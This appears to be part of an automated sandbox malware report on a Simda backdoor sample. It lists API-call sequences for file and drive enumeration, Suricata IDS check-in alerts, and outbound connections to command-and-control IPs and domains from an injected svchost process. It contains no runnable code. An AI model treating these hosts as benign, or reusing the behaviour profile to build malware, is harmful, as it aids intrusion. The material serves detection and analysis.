Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0311D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,7_2_0311D0C0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0312BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,7_2_0312BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_031066D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,7_2_031066D0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_03127CE0 LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,7_2_03127CE0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0153D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,10_2_0153D189
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0153D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,10_2_0153D0C0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0153BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,10_2_0153BB20
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0153BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,10_2_0153BBE9
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_01547CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,10_2_01547CE0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0154BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,10_2_0154BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_015266D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,10_2_015266D0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C9C3DB GetLogicalDriveStringsA,GetDriveTypeA,SetErrorMode,free,2_2_02C9C3DB

Networking

barindex
Suricata IDS alerts for network traffic
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58865 -> 23.253.46.64:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49711 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49712 -> 154.212.231.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49710 -> 85.17.31.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58864 -> 85.17.31.82:80
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.6:64197
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58861 -> 99.83.170.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58875 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58870 -> 13.248.169.48:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49708 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58860 -> 199.59.243.227:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58877 -> 103.150.10.48:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49709 -> 208.100.26.245:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58874 -> 3.94.10.34:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58863 -> 199.191.50.83:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:62037 -> 154.85.183.50:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:62034 -> 76.223.67.189:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58862 -> 3.94.10.34:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58871 -> 188.114.96.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49713 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:61112 -> 64.225.91.73:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58927 -> 64.225.91.73:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:49707 -> 23.253.46.64:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58859 -> 188.114.96.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:62038 -> 103.224.182.252:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:62036 -> 103.224.212.210:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:55442 -> 72.52.179.174:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:55436 -> 72.52.179.174:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:62035 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:55368 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63482 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63305 -> 23.253.46.64:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63292 -> 99.83.170.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63294 -> 23.253.46.64:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63471 -> 103.224.212.210:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63472 -> 103.224.182.252:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63485 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63480 -> 3.94.10.34:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63484 -> 188.114.97.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:52002 -> 52.34.198.229:80
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.6:50679
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63302 -> 85.17.31.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63518 -> 199.59.243.227:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59161 -> 3.94.10.34:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50525 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63522 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63298 -> 199.59.243.227:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50520 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50521 -> 23.253.46.64:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50515 -> 3.94.10.34:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50517 -> 199.59.243.227:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59153 -> 85.17.31.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59148 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50522 -> 208.100.26.245:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59156 -> 75.2.71.199:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:56236 -> 199.59.243.227:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59147 -> 154.212.231.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59154 -> 188.114.97.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50518 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63293 -> 85.17.31.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64576 -> 5.79.71.205:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50523 -> 154.212.231.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64177 -> 72.52.179.174:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59149 -> 75.2.71.199:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59139 -> 199.191.50.83:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63517 -> 23.253.46.64:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59146 -> 188.114.97.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50524 -> 75.2.71.199:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63520 -> 154.212.231.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64564 -> 75.2.71.199:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59173 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63481 -> 199.191.50.83:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59178 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:56239 -> 3.94.10.34:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:56235 -> 23.253.46.64:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59181 -> 75.2.71.199:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59143 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63483 -> 75.2.71.199:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64560 -> 162.255.119.102:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64008 -> 188.114.97.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64584 -> 103.150.10.48:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59145 -> 23.253.46.64:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59159 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.6:53979
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59179 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64572 -> 91.195.240.19:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64569 -> 3.94.10.34:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64561 -> 5.79.71.205:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:56237 -> 208.100.26.245:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:56240 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63519 -> 85.17.31.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63521 -> 208.100.26.245:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63525 -> 72.52.179.174:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64580 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59155 -> 199.59.243.227:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64563 -> 208.100.26.245:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59140 -> 85.17.31.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59144 -> 199.59.243.227:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64575 -> 188.114.97.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64570 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:50519 -> 85.17.31.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64568 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59150 -> 208.100.26.245:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64562 -> 188.114.97.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64578 -> 188.114.96.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64577 -> 13.248.169.48:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64579 -> 3.94.10.34:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64581 -> 103.150.10.48:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:56238 -> 199.191.50.83:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59157 -> 199.191.50.83:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:56241 -> 154.212.231.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64566 -> 154.212.231.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59180 -> 188.114.97.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64567 -> 199.59.243.227:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64565 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64571 -> 199.191.50.83:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58867 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58899 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58866 -> 99.83.170.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58879 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63303 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63299 -> 99.83.170.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63490 -> 75.2.71.199:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63440 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:58868 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63493 -> 188.114.97.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64574 -> 188.114.97.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63317 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64573 -> 75.2.71.199:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:63420 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:59137 -> 75.2.71.199:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.6:64582 -> 188.114.96.3:443
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 106.15.232.163 8000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 3.94.10.34 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 64.190.63.136 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 72.52.179.174 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeDomain query: lykywid.com
Source: C:\Windows\apppatch\svchost.exeDomain query: vofycim.com
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 154.85.183.50 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 64.225.91.73 80Jump to behavior
